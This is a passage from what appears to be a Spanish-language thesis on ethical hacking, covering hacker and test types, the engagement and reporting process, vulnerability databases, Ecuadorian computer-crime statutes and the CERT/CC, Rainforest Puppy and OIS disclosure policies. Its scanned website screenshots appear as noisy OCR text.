aplicativos para lograr una mayor proteccion ante los diferentes ataques que pudieran

suscitarse.

» Ataques a configuraciones débiles.

Cuando se procede a realizar las configuraciones de los sistemas se suele dejar por
defecto las mismas y este grave error puede llevar a la revelacion de informacion importante
para la empresa. De la misma manera un Firewall puede ser victima de ataques pero que poco
tienen que ver con vulnerabilidades del software, mas bien presentan vulnerabilidades debido a
omisiones o errores de configuracion. Por estos motivos es de vital importancia tomarse el
tiempo necesario para configurar los sistemas de la manera mas estricta posible para evitar

futuros inconvenientes.

2.7 Tipos de Hackers.

Existen tres tipos de Hackers que se dividen segun las intenciones que tienen hacia los

objetivos, estos son:

» White Hats: Son aquellos que utilizan sus conocimientos y habilidades con propdsitos

defensivos.

» Gray Hats: Son personas que no tienen una tendencia definida pueden trabajar un tiempo

de manera ofensiva y otra de manera defensiva o bien de acuerdo a su conveniencia.

» Black Hats: Son individuos que utilizan sus habilidades para realizar actividades ilegales y

cumplir objetivos maliciosas. Son mejor conocidos como Crackers. (Wikipedia.org ,parr 2)
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2.8 Tipos de Hacking Etico.

Basandose en la disponibilidad de informacién que brinda el cliente al momento de empezar un
analisis de seguridad se pude decir que existen 3 tipos de Hacking Etico, estos son:

» Hacking de Caja Blanca.
En este tipo de hacking el cliente brinda toda la informacién posible al hacker para que realice
las pruebas pertinentes a sus sistemas y encuentre la mayor cantidad de vulnerabilidades en
menor tiempo, entre la informacion que brinda el usuario estan las direcciones ip que utilizan

tanto las maquinas como los servidores, ademas de los puertos que utilizan, entre otras.

» Hacking de Caja Gris.
Este hacking se realiza a la red privada de la empresa, pero sin que el cliente brinde mayor
informacion para el analisis. En este punto el Hacker debe emular un ataque como si fuera un
usuario no autorizado de la empresa intentando encontrar cualquier vulnerabilidad que pueda

afectar a la organizacion.

» Hacking de Caja Negra.
Esta clase de hacking se realiza generalmente a la red perimetral o publica de la empresa, con
un desconocimiento total de la informacion del cliente y de su infraestructura. Su objetivo es

emular un atague externo realizado por un Cracker. (http://www.elixircorp.biz ,parr 1)

2.9 Manejar un Proceso de Hacking Etico.

Para la correcta realizacién de un Hacking ético a una empresa se debe tomar en cuenta
ciertos aspectos que encaminaradn a que el proceso de andlisis de seguridad sea llevado de
una manera ordenada y formal tanto para la empresa como para el profesional de la seguridad

encargado de realizar la investigacion. Los pasos a seguir son:

» Preparar un equipo de trabajo de ser necesario y realizar una agenda para el test.

Antes de empezar cualquier evaluacién hacia una empresa se tiene que conformar de ser
necesario un equipo de trabajo que brinde las prestaciones necesarias para realizar el analisis
de las vulnerabilidades de mejor manera.

En el caso de que la investigacion sea extensa se necesitara de un jefe técnico que guiara al
equipo en todo el proceso guiando y dando cargos a cada uno de los miembros de equipo.

También sera el responsable de realizar el informe que sera entregado a la organizacion.
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» Reunion con el cliente para conversar sobre las necesidades del test.

La reunion inicial sera para dialogar con el cliente sobre qué es lo que le preocupa de
sus sistemas y como llevara el equipo de trabajo el proceso de investigacion, no tiene que
ser una explicacién técnica, mas bien debe ser una explicacion entendible por todas las
personas que se encuentren en la reunion.

También se detallara el alcance de la investigacién delimitando claramente los puntos
gue van a ser analizados, se finiquitaran tiempos de entrega de los informes pudiendo ser
entregas parcialmente o un informe final. Todo depende del acuerdo al que lleguen las

partes.

> Preparar el documento de autorizaciéon y confidencialidad para firmarlo junto con el cliente.
Ante de iniciar cualquier trabajo es indispensable realizar un documento de autorizacion
gue brinde las garantias necesarias tanto para el cliente como para la persona o el equipo
encargado en realizar el analisis de las vulnerabilidades.
Este contrato debe tener el alcance de la evaluacion, las tareas especificas a realizar,
durante todos los procesos de evaluacion que ejecute el hacker ético este debe llevar

consigo el documento para evitar inconvenientes con el personal de la organizacion.

> Realizar el test dentro del tiempo previsto.

Segun lo conversado con el cliente el hacker ético debe regirse a los tiempos
establecidos para la entrega de resultados, en caso de tener inconvenientes o retrasos con
los resultados, estos deben ser informados a tiempo al cliente con su respectiva
explicacién del porqué se produjo el retraso con sus respectivas justificaciones. Todo esto
siempre se debe realizar de forma escrita para tener una constancia de todo lo que se

informa al cliente.

> Analizar los resultados y preparar el reporte.
Durante la realizacion del analisis el hacker o equipo de trabajo deben presentar los
informes al jefe del equipo para que este realice un consolidado de todas las fallas

encontradas y prepare el informe final que sera entregado al cliente.
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» Entregar el reporte al cliente.

Es importante que se cumplan a cabalidad todos los pasos citados para de esta manera
evitar que existan problemas de comunicacién y malos entendidos con el cliente ya que se
detallara todo lo que se va a realizar en el andlisis, la forma en la que se manejara la
confidencialidad de la informacion y los tiempos estipulados que tomaré la realizacién de cada
andlisis.

Con esto al finalizar el test se entregara un informe con los resultados obtenidos, el cual sera
entregado al cliente con las explicaciones pertinentes y las medidas que deberia tomar en caso

de existir vulnerabilidades que pongan en peligro la informacién de la empresa.

2.10 Pruebas de Hacking Etico.

Existen diferentes métodos que se pueden utilizar para realizar un analisis hacia la seguridad

de una empresa, los mas destacados son:

> Red Externa: Este test lo que pretende es simular un ataque de un intruso utilizando el
Internet para atacar a la empresa.

> Red Interna: Esta prueba intenta simular a un empleado con acceso interno tratar de
obtener acceso no autorizado a la red.

» Equipo robado: Este analisis pretende suponer el robo de un recurso con informacién
critica, esto puede ser una Laptop.

» Ingenieria Social: Este método pretende verificar la integridad laboral de los empleados de
la organizacion.

» Acceso Fisico: Pretende comprometer la infraestructura de la empresa.

2.11 Reporte Hacking Etico.

El informe es considerado como el producto de todo el trabajo que se ha realizado en el
analisis de las falencias de la empresa, por tal motivo el informe debe presentar: el andlisis, la
verificacién y la exposiciéon de las debilidades encontradas. Dando como resultado de la
investigacion sugerencias o planes de accién con la finalidad de reducir al minimo las

vulnerabilidades presentadas.
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2.12 Vulnerability Research.

Es el descubrimiento de vulnerabilidades y debilidades de disefio que se pueden utilizar
para realizar ataques hacia sistemas operativos y aplicaciones, esta informacion es presentada
en diferentes sitios web. Un profesional de la seguridad siempre debe estar al tanto de nuevos
productos y tecnologias ademas de actualizaciones y mejoras de seguridad en aplicaciones.
Existan varios sitios web que tienen listas actualizadas de vulnerabilidades y exploits asociadas
a ellas, ademas de técnicas que brindan la posibilidad de mantenerse actualizado contra

nuevas vulnerabilidades. A continuacién se presentan algunas de ellas:

» Www.us-cert.gov.

El “United States Computer Emergency Readiness Team” es un centro que brinda
informacion para el estudio y reporte de incidentes de seguridad en Internet. También presenta
soluciones a diferentes tipos de ataques. Entre la informacion que se puede encontrar en esta
pagina estan: Reportes de vulnerabilidades, reportes de Phishing, publicaciones relacionados

a la seguridad.

) US-CERT

D UNITED STATES COMPUTER EMERGENCY READINESS TEAM Q

HOME SECURITY PUBLICATIONS ALERTS AND TIPS RELATED RESOURCES ABOUT US GFIRST

United States Computer Emergency Readiness Team

Home and Business )
US-CERT's mission is to improve the nation's cybersecurity posiure, coordinate cyber

information shating. and proaclively manage cyber risks to the nation while protecting the
congtitutional rights of Americans. US-CERTs vision is to be a trusted global leader in
cybersecuriiy—collaborative, agile, and responsive in a complex environment

Learn more about US-CERT »

Govemnment )
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Figura 2.2 Pagina web www.us-cert.gov.

» www.securitytracker.com
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Este sitio web aloja una gran cantidad vulnerabilidades encontradas en diferentes aplicaciones,
permite una busqueda de acuerdo al fabricante, sistema operativo, causa e impacto.
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»  www.securiteam.com
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acerca de las vulnerabilidades encontradas.

Search
All Sections Rl Sexrch

Sequrity News - Security Reviews - Expioits - Tools - UNEX Focus - Windaws Focus - Blogs - CVES

sk the Team [Blogs ||

:‘af“ﬂg_ Lists Microsoft Windows Memory Object Handling Local Memory Privilege Escalation Vulnerability | 14 Feb. 2012 | & Resd this book. Tfyou hava anything to do with
““".em§'"9 Info M ot windows win32k.svs memory.oliect: handling suffers fromt local- privileae escak witcrab secunty. read this book,
A 4 licresoft windows vand2k.sys memory object handling suffers from local privilege escalston vulneral

e B £ REVIEW; 1dentity Theft Manuah Practical
I\bout SecunTeam Bitsmith PS Knowbase Buffer Overflow Vulnerability | scssmwes e sucsere 2Feh.2012 | Tips, Legel Hints, ond Other Gecret
Jlogs Bitsmith PS Kno .3 suffers from Buffer Gverfiow Vuinerabiliy.. More #» Rzvesled Juck Nuzm

& Namory lzns

AnvSoft Any Video Converter Multiple Buffer Overflow Vulnerability | o<

rought to vou by: - - . ~ e ) & Online fom rule haiks
A Vulnerability Laboratory Researcher discovered muitiple Local Buffer Overflow vulnerahilities on AnvSoft Any Video Converter Frae / Pro / 85 Sacure Auarsnass mottaas and ene-linars
* \ Ultimate., More #» More 32
o ity 4 - — 1
security Feb.2
4 & Gl |

% 8 S5 s i O
Expl

]
B winwebMsil Sarver Stored XSS Exploit

uppliers of: Aastra 67531 1P Phone Configuration Encryption Weakness Information Disclosure Vulnerability | scesmsesmesssces 3 s
o [:S absite Testing Tools Adaba Reader / Acrobat Memory Corruption Vulnerability | scorws secrumsn gm;:f;;{;r ki 37,N) Beler
» Network Testing Tools Astium VoIP PBX astiumd Service Request Parsing Remote Overflow DoS Vulnerability e radimere & QNX QCONN Remste Command Exscution
» Software Testing Toals Uisco Linksys WRT160N /apply.cai Multiple Parameter XSS Vulnerability | comres seorases Bxplait
e Concert Calendar Addon For WebsiteBaker Modules/concert;view.php Date Parametar XS5 Vulnerability | :zeesms wezromas & Dictinet TFTP Writable Diractary Travarsal
Facebook For Android Continuation_intent Local Information Disdlosure Vulnerability | scomremsyesssszes Exscution Explait )
p=zcuriTeem i Vo Inbes Google Chrome Extension Tab Handling DoS Vulnerabiity | scerem: wezsmecs 5’;;"::‘2:;';[’” 10427 {4if) Doniel of

Google Chrame Videa Szeking Handling Uise-after-free Arbitrary Code Execution Vulnerability | scssmass vessases

' <o 3 o g Postz Plugin S XSS Expl
1BM WebSphere Application Server (WAS) Virtual Member Manager (VMM) Administrztive Console X535 Vulnerability | 2cores swozeszen D I

ility? i
:sz, ::,:T,e o JBoss Enterprise Application Platform Piaintext Symmetnc Key Disclosure Vuinerability | scormes meosmees = ;Zﬁ‘;.”éi';;ﬁ!:‘“ "
bell us Microsoft TE CDispNade Use-After-Frea Arbitrary Code Execution Vulnershility | :cueses: xes sse B Shgforum Multiple Explaits
14 Feb. 2013 | & NetOp Remace Conwrol Client Bufier Overdlon
Microsoft Windows Memory Object Handling Local Memory Privilege Escalation Vulnerability | zcmrems seosazes Exploic
14 Fzb. 2013 More »»

P~ . s

Figura 2.4 Pagina web www.securiteam.com.

44



» www.securityfocus.com

Es uno de los sitios web méas conocidos ya que tiene una actualizacién permanente de nuevas
vulnerabilidades sobre diferentes aplicaciones.

< >SecurityFocus ™
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> www.hackerstorm.com

Este sitio web permite realizar busquedas en la base de datos de vulnerabilidades incluyendo

soluciones y referencias externas acerca de la vulnerabilidad.
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CONCLUSIONES.

En este capitulo se presentaron los topicos mas relevantes sobre la introduccion al hacking
ético, el conocimiento de esta informacion es importante ya que brinda pautas claras para que
la persona interesada en este amplio campo de la seguridad tenga una base con la cual
puedan empezar a profundizar sus conocimientos segin como lo crea conveniente siempre

manteniéndose dentro de las normativas de la empresa a la cual se va a realizar el analisis.
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CAPITULO III.

EL HACKING ETICO Y EL SISTEMA JURIDICO.

INTRODUCCION.

En este capitulo se detallaran las leyes que rigen en nuestro pais para casos de delitos
informéticos ya que es imprescindible conocer las normas vigentes para al momento de realizar
pruebas de seguridad en empresas no infringir ninguno de estos estatutos. Una vez expuesto
las leyes se analizara tres tipos de procedimientos para divulgar vulnerabilidades encontradas
como lo haria un hacker de sombrero blanco para con ello llevar de la mejor manera un

proceso de analisis de vulnerabilidades.
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3.1 Descripcion de las leyes.

En nuestro pais el sistema juridico todavia no incluye como un aspecto primordial a los
delitos informaticos dentro de la seguridad del estado. Mediante los delitos informaticos se
puede hacer mucho dafio a entidades publicas que manejan informacién sensible, asi como al
ciudadano en general. Pese a esto en el afio 2002 se cred la Ley de Comercio Electrénico y
Mensajes de Datos con la cual se afiade al cddigo penal articulos referentes a los delitos

electrénicos. A continuacion se procederd a detallar los articulos mas importantes:

»“Art (202.1).- Delitos contra la informacién protegida.- EI que empleando cualquier medio
electrénico, informatico o afin, violentare claves o sistemas de seguridad, para acceder u
obtener informacién protegida, contenida en sistemas de informacion; para vulnerar el
secreto, confidencialidad y reserva, o simplemente vulnerar la seguridad, sera reprimido con
prision de seis meses a un afio y multa de quinientos a mil délares de los Estados Unidos de
Norteamérica.

¢ Si la informacién obtenida se refiere a seguridad nacional, 0 a secretos comerciales e
industriales, la pena sera de uno a tres afios de prision y una multa de mil a mil quinientos
dolares de los Estados Unidos de Norteamérica.

¢ La divulgacion o utilizacién fraudulenta de la informacion confidencial, asi como los secretos
comerciales o industriales serdn sancionados con pena de reclusion menor de tres a seis
afios y una multa de dos mil a diez mil délares de los Estados Unidos de Norteamérica.

¢ Si la divulgacion o la utilizacion fraudulenta se realiza por parte de la persona o personas
encargadas de la custodia o utilizacion legitima de la informacién, estas seran sancionadas
con pena de reclusidon menor de seis a nueve afios y una multa de dos mil a diez mil délares

de los Estados Unidos de Norteamérica.” (Corporacién de Estudios y Publicaciones 42)

> “Art. (202.2).- Obtencion y utilizacién no autorizada de informacion.- La persona o personas
gue obtuvieren informacion sobre datos personales para después cederla, publicarla, utilizarla
o transferirla a cualquier titulo, sin la autorizacion de su titular o titulares, serdn sancionados
con una pena de prisién de dos meses a dos afios y una multa de mil a dos mil délares de los

Estados Unidos de Norteamérica.” (Corporacioén de Estudios y Publicaciones 43)

>“Art. (262).- Destruccion Maliciosa de documentos.- Seran reprimidos con tres a seis afios de

reclusién menor, todo empleado publico y toda persona encargada de un servicio publico,
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qgue hubiere maliciosa y fraudulentamente, destruido o suprimido documentos, titulos,
programas, datos, bases de datos, informacion o cualquier mensaje de datos contenido en un
sistema de informacion o red electrénica, de que fueren depositarios, en su calidad de tales, o
que les hubieren sido encomendados en razén de su cargo.” (Corporacién de Estudios y

Publicaciones 56)

»“Art. (353.1).- Falsificacion electrénica.- Son reos de falsificacion electronica la persona o
personas que con animo de lucro o bien para causar un perjuicio a un tercero, utilizando
cualquier medio, alteren o modifiquen mensajes de datos, o la informacién incluida en estos,
gue se encuentre contenida en cualquier soporte material, sistema de informacion o
telematico, ya sea:

e Alterando un mensaje de datos en alguno de sus elementos o requisitos de caracter formal o

esencial:

¢ Simulando un mensaje de datos en todo o en parte, de manera que induzca a error sobre su

autenticidad,;

e Suponiendo en un acto la intervencién de personas que no la han tenido o atribuyendo a las

gue han intervenido en el acto, declaraciones o manifestaciones diferentes de las que

hubieren hecho.” (Corporacién de Estudios y Publicaciones 71)

> “Art (415.1).- Dafios informaticos.- El que dolosamente de cualquier modo o utilizando
cualguier método, destruya, altere, inutilice, suprima o dafie, de forma temporal o definitiva,
los programas, datos, bases de datos, informacién o cualquier mensaje de datos contenido
en un sistema de informacion o red electronica, sera reprimido con prisién de seis meses a
tres afios y multa de sesenta a ciento cincuenta délares de los Estados Unidos de
Norteamérica.
La pena de prisién sera de tres a cinco afios y multa de doscientos a seis cientos dolares de
los Estados Unidos de Norteamérica, cuando se trate de programas, datos, bases de datos,
informacién o cualquier mensaje de datos contenido en un sistema de informacion o red
electrénica, destinada a prestar un servicio publico o vinculada con la defensa nacional.”

(Corporacioén de Estudios y Publicaciones 84)

> “Art (415.2).-Destruccion de instalaciones para transmision de datos.- Si no se tratare de un
delito mayor, la destruccion, alteracién o inutilizaciéon de la infraestructura o instalaciones

fisicas necesarias para la transmision, recepcion o procesamiento de mensajes de datos,
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serd reprimida con prision de ocho meses a cuatro afios y multa de doscientos a seis cientos

ddlares de los Estados Unidos de Norteamérica.” (Corporacion de Estudios y Publicaciones 85)

» “Art (653.1).-Aprobacion ilicita.- Seran reprimidos con prision de seis meses a cinco afios y
multa de quinientos a mil dorales de los Estados Unidos de Norteamérica, los que utilizaren
fraudulentamente sistemas de informacion o redes electronicas, para facilitar la apropiacion
de un bien ajeno, o los que procuren la transferencia no consentida de bienes, valores o
derechos de una persona, en perjuicio de esta o de un tercero, en beneficio suyo o de otra
persona, manipulando o modificando el funcionamiento de redes electrénicas, programas
informaticos, sistemas informaticos, telematicos o mensajes de datos.” (Corporacion de

Estudios y Publicaciones 114)

> “Art (553.2).- Pena.- La pena de prision de uno a cinco afios y multa de mil a dos mil délares

de los Estados Unidos de Norteameérica, si el delito se hubiere cometido empleando los
siguientes medios:

e Inutilizacion de sistemas de alarma o guarda,;

¢ Descubrimiento o descifrado de claves secretas o encriptadas;

¢ Utilizacion de tarjetas magnéticas o perforadas;

¢ Utilizacion de controles o instrumentos de apertura a distancia; vy,

e Violacion de seguridades electrénicas, informaticas u otras semejantes.” (Corporacion de

Estudios y Publicaciones 115)

> “Art (663).- Estafa.- El que, con propdésito de apropiarse de una cosa perteneciente a otro, se
hubiere hecho entregar fondos, muebles, obligaciones, finiquitos, recibos, ya haciendo uso de
nombres falsos, o de falses calidades, ya empleando manejos fraudulentos para hacer creer
en la existencia de falsas empresas, de un poder, o de un crédito imaginario, para infundir la
esperanza o temor de un suceso, accidente, o cualquier otro acontecimiento quimérico, o
para abusar de otro modo de la confianza o de la credulidad, sera reprimido con prision de
seis meses a cinco afios y multa de ocho a ciento cincuenta y seis délares de los Estados
Unidos de Norteamérica.
Sera sancionado con el maximo de la pena prevista en el inciso anterior y multa de quinientos
a mil dolares de los Estados Unidos de Norteamérica, el que cometiere el delito utilizando

medios electronicos o telematicos”. (Corporacion de Estudios y Publicaciones 116)
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» “Art 606.- Casos.- Seran reprimidos con multa de siete a catorce ddlares de los estados
Unidos de Norteamérica y con prision de dos a cuatro dias, o con una de estas penas
solamente:

Inciso 20: Los que violen el derecho a la intimidad, en los términos establecidos en la Ley de
Comercio electrénico, Firmas Electronicas y Mensajes de Datos.” (Corporacion de Estudios y

Publicaciones 141)

3.2 Divulgacion de vulnerabilidades de manera correctay ética.

Cada vez es mas solicitado por los clientes sistemas operativos y aplicaciones que brinden
rapidez y funcionalidad a sus trabajos, es por esto que se ha incrementado la demanda de
empresas que brindan servicios de venta de software a organizaciones medianas y grandes.
Debido a la gran competitividad que existe hoy en dia, las empresas desarrolladoras de
software tanto nacionales como internacionales tratan de cubrir la demanda y abarcar la mayor
cantidad del mercado empresarial. En un gran porcentaje por la necesidad de que se entregue
el software en el menor tiempo posible este en lanzado al mercado con fallos que van desde
errores de menor importancia hasta vulnerabilidades criticas y peligrosas que pueden dejar
expuesta la informacion de la empresa que ha comprado el software.

Para que las vulnerabilidades encontradas en los sistemas no afecten de manera peligrosa
a las empresas que adquirieron el software es importante que los hackers éticos trabajen
utilizando los métodos adecuados para revelar al vendedor del software las vulnerabilidades
encontradas en sus sistemas.

A continuacion se detallan tres maneras para la divulgacion de vulnerabilidades:

3.2.1 El Proceso CERT/CC.

El CERT/CC (Computer Emergency Response Team Coordination Center) es un centro de
coordinacién creado en 1988 que tiene como obijetivos: la seguridad, establecimiento y
mantenimiento de estandares que permitan la divulgacion de vulnerabilidades sirviendo de
intermediario entre el buscador de vulnerabilidades y el vendedor del software, haciendo que
las partes cumplan con los requisitos necesarios para una correcta divulgacién de fallos

encontrados.

Dentro de las politicas que ha implementado el CERT para la divulgacion de la informacion se

encuentran:

51



» “La publicacion se anunciara dentro de los 45 dias siguientes tras la comunicacion a
CERT/CC. Este espacio de tiempo sera ejecutado aunque el vendedor del software no
disponga de un parche o de un remedio adecuado. La Unica excepcién a esta estricta fecha
serd de manera excepcional que las amenazas o previsiones requieran que se modifique un
estandar.

» El CERT/CC notificara la vulnerabilidad al vendedor del software de manera inmediata, de
modo que se pueda desarrollar una solucion lo mas pronto posible.

» Junto con la descripcién del problema, CERT/CC les enviar4 el nombre de una de las
personas que informa de la vulnerabilidad a menos que esa persona solicite de manera
especifica permanecer en el anonimato.

» Durante el lapso de 45 dias, CERT/CC notificara a la persona que notificé de la
vulnerabilidad en primer lugar sobre el estado de la vulnerabilidad sin revelar informacién

confidencial.” (Shon Harris, Allen Harper, Chris Eagles, Jonathan Ness, Michael Lester 90)

Las normas citadas anteriormente son para beneficiar al cliente y tener un tiempo de
respuesta menor para la solucion de las vulnerabilidades encontradas en los sistemas que
adquirieron. Pero también hay que tomar en cuenta el punto de vista de los vendedores de

software, para ellos el CERT/CC realiza las siguientes actividades:

» CERT/CC se pondra en contacto con el vendedor para informarlo de los fallos encontrados
antes de publicar cualquier informacién, de modo que no se produzca sorpresas
posteriores.

» CERT/CC le solicitara informacién al vendedor en situaciones graves y publicard esa
informacién. En ocasiones en las que el vendedor no esté de acuerdo con la evaluacion de
las vulnerabilidades también se publicara la opiniéon del vendedor de modo que las dos
partes tengan voz.

» La informacién se distribuird a todas las partes implicadas que se hayan visto involucradas

en la situacion antes de la divulgacion de la informacion.

3.2.2 Politica de divulgacién de toda la informacién confidencial (Rainforest Puppy
Policy).

Rainforest Puppy es un hacker de sombrero blanco que ha descubierto infinidad de
vulnerabilidades en diferentes productos, su trabajo consiste en trabajar con las empresas
desarrolladoras de software para que generen parches y asi poder solucionar las

vulnerabilidades encontradas antes que los crackers las ataquen.
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El objetivo de estas politicas de divulgacion de informacion consiste en brindar pautas y

sugerencias acerca de como los administradores de software y los localizadores de errores

(Hackers) deben trabajar juntos. No son exigencias y tampoco se puede exigir a nadie a que

las cumpla.

A diferencia de CERT/CC esta politica es mucho mas estricta con los vendedores de software

ya que si el vendedor de software quiere que las vulnerabilidades encontradas en sus sistemas

se manejen de forma confidencial estos deben seguir las siguientes pautas:

>

El hacker que ha encontrado las vulnerabilidades en un sistema debe ponerse en contacto
con el administrador del software, generalmente la informacién del contacto se encuentra
en su pagina web, la fecha en la que el hacker envia el correo indicando al administrador

sobre el o las vulnerabilidades encontradas se considera como la fecha de contacto.

Una vez enviado el mail al vendedor este dispondra de 5 dias desde la fecha de contacto
para dar una respuesta al hacker. Si el administrador no establece ningin contacto con el
hacker este ultimo podra publicar las vulnerabilidades encontradas de la forma que crea
conveniente, pero si el administrador del software da respuesta al correo enviado por el
hacker las dos partes se pondran de acuerdo sobre la confidencialidad de los fallos
encontrados. La politica RTF advierte al vendedor del software que el contacto debe
realizarse lo antes posible, recalcando también que el hacker (descubridor de los fallos) no

tiene ninguna obligacion en cooperar con los administradores del software.

Es responsabilidad del vendedor el dar a conocer peridédicamente detalles de como se esta

solucionando las vulnerabilidades.

Los administradores del software y el hacker deben realizar declaraciones de divulgacion

de informacion en conjunto para gue no existan conflictos o malos entendidos.

Cuando los administradores del software hayan encontrado la solucibn a las
vulnerabilidades se espera que el vendedor del software recompense al hacker que
encontro los fallos ya que los informé de manera voluntaria, considerando a esto como un

gesto profesional de parte del vendedor hacia el hacker.
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3.2.3 Organizacién para la Seguridad en Internet (OIS).

La organizacién para la seguridad en Internet es un grupo de investigadores y fabricantes
de software que se cre6 para tratar de satisfacer tanto a los administradores de software como
a los que encuentran vulnerabilidades, su enfoque estad dirigido a una divulgacion de
vulnerabilidades de forma parcial.

Los miembros de esta organizacion son: @Stake, BindView Corp, the SCO Group,
FoundStone, Guardent, Internet Security Systems, Microsoft Corporation, Network Associates,
Oracle Corporation, SGI y Symatec, entre otros.
OIS pretende que los vendedores y los clientes trabajen juntos para identificar fallos y buscar
soluciones razonables para ambas partes, intentando crear un debate que incluya opiniones
respetadas e imparciales que puedan ser tomadas como recomendaciones cumpliendo dos
objetivos que son:
e “Reducir el riesgo de la aparicion de vulnerabilidades desde fuera ofreciendo un
mejorado método de identificacion investigacion en la solucién.
e Mejorar toda la calidad de ingenieria de software ajustando la seguridad que se
aplica en el producto final”. (Shon Harris, Allen Harper, Chris Eagles, Jonathan Ness,
Michael Lester 94)

Descubrimiento.
Es la fase inicial cuando se descubre un fallo en un software, esta falla puede ser
descubierta por una o varias personas, OIS lo llama “El descubridor’. Una vez descubierta la

vulnerabilidad se espera que el descubridor realice las siguientes acciones:

» Averiguar si esa vulnerabilidad ya ha sido notificada.
» Buscar parches (Service Packs) y verificar si corrigen el fallo.
» Averiguar si el fallo afecta a la configuracién predeterminada del software.

» Asegurarse de que el fallo puede reproducirse de manera consistente.

Después que se ha verificado el fallo se debe informa de ello mediante un informe conocido
como Informe Breve de Vulnerabilidad (VSR) que se usa como plantilla para describir los casos

de manera adecuada, este informe incluye:

> La informacién de contacto del descubridor.

» La politica de respuesta de seguridad.

54



» El estado del fallo (publico o privado).

» Si el informe contiene o no informacién confidencial.

» Los productos o versiones afectadas.

» Las configuraciones afectadas.

» Una descripcion del fallo y como el fallo genera un problema de seguridad.
» Instrucciones para reproducir el problema.

Notificacion.

Esta fase es considerada como la mas importante segun OIS ya que consiste en ponerse
en contacto con el vendedor tratando de llevar una comunicacion abierta y efectiva para
resolver la vulnerabilidad encontrada. Existen ciertas pautas que el vendedor debe notificar,

estas son:

» Un Unico punto de contacto para informes de vulnerabilidades.
» La informacién de contacto debe incluir:
e Referencia a la politica de seguridad del vendedor.
e Un completo listado o instrucciones de todos los métodos de contacto.
¢ Instrucciones para realizar comunicaciones seguras.
» Hacer todos los esfuerzos necesarios para asegurarse que los mensajes de correo
electrénico sean dirigidos a las personas apropiadas.
» Facilitar un método de comunicacion segura entre si mismo y el descubridor.
» Colaborar con el descubridor aun en el caso que utilice métodos de comunicacién poco
seguros.
» Se espera que el descubridor envie un VSR al vendedor indicando la vulnerabilidad

encontrada.

Una vez que se haya recibido y verificado el VSR el vendedor podria notificar de manera
publica que se ha descubierto un fallo en su sistema y que se estéa trabajando para resolverlo.
En el caso de que el vendedor no desee hacerlo publico inmediatamente este debe enviarle
una respuesta al descubridor en un plazo de siete dias. Si el vendedor no responde durante
este periodo el descubridor debe enviar una solicitud de confirmacién de recepcion. Esta
confirmacién es una advertencia final al vendedor de que se ha encontrado una vulnerabilidad,
gue se ha enviado una natificaciéon y que se espera una respuesta, adjuntando también una

copia del VSR enviado anteriormente. El vendedor tendra tres dias laborables para responder,
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si no responde durante el plazo establecido el descubridor podré hacer publica la vulnerabilidad

encontrada.

Validacion.

Esta fase hace referencia a la verificacion por parte del vendedor del Informe Breve de
Vulnerabilidad (VSR) revisando los contenidos expuestos en el informe y trabajando
conjuntamente con el descubridor en la exploracion de los fallos. Parte fundamental de esta
etapa es que el vendedor debe mantener informado al descubridor sobre los avances del
desarrollo de la solucién para la vulnerabilidad encontrada. Para esto OIS brinda reglas a

seguir relacionadas con la actualizacion de los avances, estas son:

> “El vendedor debe facilitar informacion actualizada al descubridor sobre el estado de la
investigacion al menos una vez cada siete dias laborables a menos que ambas partes
lleguen a otro acuerdo.

» Los métodos de comunicacion deben ser acordados mutuamente. Estos métodos pueden
ser: El teléfono, correo electrénico o un FTP (File transfert Protocol).

» Si el descubridor no recibe nueva informacion sobre el estado de la investigacion en el
plazo acordado este debe emitir una solicitud de estado (RFS).

» En ese caso el vendedor tiene tres dias laborables para responder al RFS.” (Shon Harris,

Allen Harper, Chris Eagles, Jonathan Ness, Michael Lester 97)

Investigacion.

La investigacion por parte del vendedor debe ir mas alla del informe presentado por el
descubridor ya que en la mayoria de los casos el VSR no contiene todos los aspectos
relacionados con una vulnerabilidad. Es por eso que el vendedor debe realizar una
investigacion minuciosa abarcando las diferentes areas en las que el fallo pueda afectar. Los

pasos a seguir en este punto de la investigacion son:

»Realizar una investigacion del fallo en el producto descrito en el VSR.

»Analizar si la vulnerabilidad afecta a otros productos compatibles que no estan incluidos
en el VSR.

»Investigar los vectores de ataque de la vulnerabilidad.

»Llevar una lista de los productos o versiones que pudieran estar afectados.
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Bases de c6digo compartido.

En ocasiones existe la posibilidad de que al descubrir una vulnerabilidad esta no afecte solo
al vendedor al que se le ha enviado el VSR, sino que el fallo pudiera encontrarse en el cédigo
fuente de otros vendedores. Es por esto que OIS brinda algunas pautas de como proceder en
estos casos, estas son:

» Intentar notificar a los vendedores que posiblemente pudieran estar afectados por el fallo.
» Establecer contacto con una organizacién que pueda coordinar la comunicacién con todos

los vendedores afectados.

Una vez que se halla notificado al resto de vendedores que también pudieran ser afectados por

las vulnerabilidades encontradas, el vendedor original tendria que seguir las siguientes pautas:

» Tener un contacto frecuente con los otros fabricantes durante el proceso de investigacion y
de resolucion.

> Implementar un plan con los vendedores que también estén afectados para investigar el
fallo. El plan deberia incluir elementos de frecuencia con la que se envia informacién sobre

el estado de la investigacidon y los métodos de comunicacion.

Cabe recalcar que el Unico requisito del descubridor es enviar el VSR al vendedor, también
pudiera cooperar con caracteristicas mas detalladas acerca del entorno en las que se produjo

el fallo para facilitar al vendedor el andlisis de las posibles soluciones.

Descubrimientos encontrados.
Al momento que el vendedor concluye la investigacion, este debe enviar una de las

siguientes conclusiones al descubridor:

» Que el fallo ha sido confirmado.
» Que el error notificado ha sido desmentido.

» Que no se puede probar ni desmentir el fallo.

El vendedor debe fundamentar que la investigacion realizada fue minuciosa y técnica, pero esto
no quiere decir que esta obligado a detallar resultados de los procedimientos internos de la

investigacion al descubridor. Lo que se debe facilitar al descubridor es:
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» Una lista de los productos o versiones que fueron analizados.
» Una lista de las pruebas que fueron realizadas.
» Los resultados de las pruebas.

Confirmacion del fallo.
Si el fallo es confirmado por el vendedor este debe incluir los siguientes elementos:

» Una lista de los productos y versiones afectadas por el fallo que ha sido confirmado.
» Una declaracion de como se descubrira el parche.

» Un espacio de tiempo para distribuir el parche.

Desmentir el fallo.
Si el vendedor demuestra que el fallo notificado no existe, este tendra que mostrar al

descubridor que una de las siguientes acciones es cierta:

» El fallo notificado no existe en el software.
> Existe la vulnerabilidad detectada por el descubridor pero no crea ningun problema de
seguridad. El vendedor debe enviar al descubridor datos de validacién como pueden ser:
e Documentaciéon del producto que confirme que el comportamiento es normal o que no
representa amenaza.
e Los resultados de las pruebas que confirmen que ese comportamiento solo causa
problemas de seguridad cuando no esta bien configurado.
e Un analisis que muestre como un ataque no podria aprovecharse del comportamiento

notificado.

En caso de que el descubridor no esté conforme con la respuesta del vendedor este podra
